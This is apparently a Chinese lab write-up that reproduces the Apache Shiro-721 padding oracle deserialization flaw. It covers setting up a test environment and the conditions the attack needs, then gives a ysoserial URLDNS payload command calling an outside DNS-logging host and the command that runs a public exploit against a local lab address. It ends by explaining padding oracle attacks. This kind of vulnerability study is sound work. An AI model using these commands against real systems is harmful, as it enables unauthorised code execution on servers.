Java反序列化-Shiro721复现
前置 - 环境搭建
https://github.com/jas502n/SHIRO-721/blob/master/samples-web-1.4.1.war
下载 war 包,解压后修改 cc3.2.2 -> cc3.2.1
路径在:
1 | samples-web-1.4.1\WEB-INF\lib |
cc3.2.1 可以在这里下载
https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/
替换后新建项目,maven 架构,webapp,然后把刚刚解压出来的文件放在 webapp 下
Project Structure 中,添加 lib 库
然后再配置 Tomcat。
配置 Tomcat 这一块详细可见 Shiro550,这里不做过多赘述;Tomcat9 , 配置 setting,配置配置文件、端口等。
Shiro721 复现
漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1
124以前是 shiro550
Apache Shiro Padding Oracle Attack 的漏洞利用必须满足:
- 开启 rememberMe 功能;
- rememberMe 值使用 AES-CBC 模式解密;
- 能获取到正常 Cookie,即用户正常登录的 Cookie 值;
- 密文可控;
发送包(勾上 RememberMe) , 包中有 rememberMe=on
凭据正确返回包,包中存在 rememberMe=deleteMe
生成一下利用链
1 | java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://kwkzsqo6jejm9kbyra2qlbbmadg |
利用 exp 进行 Padding Oracle Attack:
https://github.com/3ndz/Shiro-721
安装脚本不需要 pip install paddingoracle,直接将 GitHub 项目的 paddingoracle.py 放到同目录即可。
运行该 exp 脚本进行爆破,因为是爆破,所以运行的时间会比较久一些,payload 如下
1 | python shiro721exp.py http://192.168.1.6:8888/DemoShiroo721_war_exploded/account zxB+J0BWbJDxxvF7eou1s7NQifTAdMRxOUNDKASDM3KWWS1Zbrxbyc07ZW5/SBBQq2w8Y7i1zkV9gVkPA39D51zOCZwHb1DeCaRhJK5ZeOevJSm/ovF6b7fTWrvnQdZ1sYNJxJAoZ4XXzrL7WLxybhehq/Q/bDZ5sKEfOcLSXcUyS0sS+7R711Ar7ydPAztlzYXsxZyLwu9/kBZuMgJzdDtqu2YIsM5NARyVH13TY2rBwMzSnFwG2I8uH9q5hCr68N6rzMDMHU+MD26oX+dg7F5Z/C5oIGEuQJh9Y22oPmRUiaIfuaC4SFHXYQi37jBxQNO2q32i92fYQkL9w5qeVIRDqpr8tS5dlErFUQLDfUtBvsO628CpNxTl9WIbzmG9QAGnW0mBV42HBB5QERHATxj8TOtI3vE+khtcZS1PySLCtSSjSXUob8jYgseDYmJ/Bq0j+31muaC/aZ1TGukexUv3ykQYDcHoH+a0Ai6qZdZpAx5cZixfaJ/AHy9ImclP payload.class |
这里我们将爆破生成的 cookie 替换进原本 /account 界面的 cookie 中去
成功收到了 dns 的请求:
也就是证明存在 java 反序列化漏洞
Shiro721 分析
主要是用了 Padding Oracle Attack 攻击 (CBC 攻击)。
Padding Oracle Attack 加密数据的大概过程:
- 选择一个明文
P,用来生成你想要的密文C; - 使用适当的 Padding 将字符串填充为块大小的倍数,然后将其拆分为从 1 到 N 的块;
- 生成一个随机数据块(
C[n]表示最后一个密文块); - 对于每一个明文块,从最后一块开始:
- 创建一个包括两块的密文C’,其是通过一个空块(00000…)与最近生成的密文块
C[n+1](如果是第一轮则是随机块)组合成的; - 这步容易理解,就是Padding Oracle的基本攻击原理:修改空块的最后一个字节直至Padding Oracle没有出现错误为止,然后继续将最后一个字节设置为2并修改最后第二个字节直至Padding Oracle没有出现错误为止,依次类推,继续计算出倒数第3、4…个直至最后一个数据为止;
- 在计算完整个块之后,将它与明文块
P[n]进行XOR一起创建C[n]; - 对后续的每个块重复上述过程(在新的密文块前添加一个空块,然后进行Padding Oracle爆破计算);
反正就是通过爆破的方式来计算出我们要的 payload
在 Shiro550 中,密钥是硬编码
1 | public AbstractRememberMeManager() { |
而在 Shiro721 中,密钥的生成方式变为了动态生成
1 | public AbstractRememberMeManager() { |
爆破中的判断方式为:
如果 rememberMe 正确,返回为这样:
如果错误,返回会增加 rememberMe=deleteMe
- Title: Java反序列化-Shiro721复现
- Author: xekOnerR
- Created at : 2026-02-25 13:33:27
- Updated at : 2026-02-25 13:34:04
- Link: https://xekoner.xyz/2026/02/25/Java反序列化-Shiro721复现/
- License: This work is licensed under CC BY-NC-SA 4.0.